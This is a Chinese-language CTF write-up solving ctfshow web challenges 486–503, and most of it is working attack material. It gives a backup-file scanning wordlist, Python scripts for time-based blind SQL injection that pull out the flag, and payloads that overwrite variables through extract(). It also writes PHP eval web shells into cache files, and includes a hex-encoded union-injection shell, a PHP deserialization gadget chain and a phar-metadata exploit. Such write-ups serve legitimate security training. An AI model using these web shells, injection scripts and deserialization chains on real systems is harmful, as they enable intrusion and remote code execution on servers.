web486——后台扫描
开局假页面,扫描后台
CTF常用字典整理:
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
wwwroot.rar
web.rar
robots.txt
robot.txt
flag.php
利用后面的action参数读取:
web487——sql注入测试
?action=../index
读取源代码:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 22:30:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
sql测试:
1') or sleep(3)#
可睡着!!
python脚本跑就可以了
import requests
url = "http://6a6450b5-0579-4051-ae02-0362513e6842.challenge.ctf.show:8080/index.php?action=check&username=yn8rt&password=1') or "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 126
while head < tail:
mid = (head + tail) >> 1
payload = f"if(ascii(substr((select flag from flag),{i},1))>{mid},sleep(2),0)+--+"
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web488——代码审计
index.php:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET); //将数组中的值转换为变量,并以键名命名
$user=db::select_one($sql);//用处不大,不需要追踪
if($user){
templateUtil::render('index',array('username'=>$username));//追踪
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
脚本跑不了!
action=…/render/render_class:
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){//检查文件是否存在
echo cache::get_cache($template);//利用file_get_contents读取文件
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){//给你传入的文件命名
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
?action=…/render/cache_class:
<?php
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);//利用点
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');//检查该文件是否存在
}
}
?action=…/render/file_class:
<?php
error_reporting(0);
class fileUtil{
public static function read($filename){
return file_get_contents($filename);
}
public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}
$filename->md5($template)->md5(error)
<?php
echo md5('error');
?>
//cb5e100e5a9a3e7f6d1fd97512215282.php
$content->$cache->$templateContent->$value->$username=<?php eval($_POST[8]);?>
?action=check&username=<?php eval($_POST[8]);?>&password=1
然后访问:/cache/cb5e100e5a9a3e7f6d1fd97512215282.php
web489——extract变量覆盖
?action=…/index:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');//第二个参数已经没了,利用点失效🐕
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
render/db_class:
<?php
class db{
public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}
public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
}
脚本(利用变量替换):
import requests
url="http://e01d42ab-f4d9-4c1a-a320-9c516b190af0.challenge.ctf.show:8080/index.php?action=check&sql=select "
s="abcdef0123456789-}"
flag=""
for i in range(9,45):# 已经去了ctfshow{
# print(i)
for j in s:
u=url+"if(substr((select load_file('/flag')),{0},1)='{1}',sleep(3),1)".format(i,j)
try:
requests.get(u,timeout=(2.5,2.))
except:
flag+=j
print(flag)
break
web490——sql语句分析
?action=…/index:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
此时的$username已经没有了md5函数处理:
?action=check&username=-1' union select 0x6576616c28245f504f53545b315d293b20 %23
0x6576616c28245f504f53545b315d293b20即 eval($_POST[1]);
<?php
echo md5('index');
?>
//cache/6a992d5529f459a44fee58c733255e86.php
我这里第一次失败了,所以需要?action=clear
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0AZvEWHD-1632744146225)(http://images2.5666888.xyz//image-20210918171201592.png)]
web492——变量覆盖+绕过preg_match
?action=…/index:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
$username
虽然没有经过md5处理但是也匹配掉了非法字符,因为extract($_GET);
在前,所以我们可以对user变量进行变量覆盖,这样就可以在index.php中写一句话木马
满足条件:
- 绕过匹配,保证user变量不被赋值
- 针对user中的键值username进行一句话木马操作
payload:
?action=check&username[]=1&password=123&user[username]=<?php eval($_POST[8]);?>
然后访问:
/cache/6a992d5529f459a44fee58c733255e86.php
web493-495
?action=…/index:
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);//此处存在反序列化的点
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
?action=…/render/render_class:
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}
}
?action=…/render/db_class:
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);//关键代码
}
}
payload:
<?php
class db{
public $log;
public function __construct(){
$this->log=new dblog();
}
}
class dbLog{
public $content='<?php eval($_POST[1]);?>';
public $log='/var/www/html/2.php';
}
echo urlencode(serialize(new db()));
//O%3A2%3A%22db%22%3A1%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F2.php%22%3B%7D%7D
494、495需要连接数据库
web503
弱口令👇:
?action=check:username=1’ || 1#&password=1
点开系统配置,查看源代码:
找到一个接口,?action=…/api/admin_settings.php:
一个是管理员信息配置检测接口,一个是文件上传检测接口
生成phar文件,利用file_exists函数来触发:
<?php
class dbLog{
public $sql;
public $content="<?php eval(\$_POST[1]);?>";
public $log="a.php";
}
$c=new dbLog();
$phar = new Phar("aaa.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>
访问/api/admin_db_backup.php:
/api/admin_db_backup.php
POST:
pre=phar:///var/www/html/img/d8f8dedc0591f3b913dbcdf0fdea2687.jpg&db_format=g
执行即会生成/var/www/html/2.php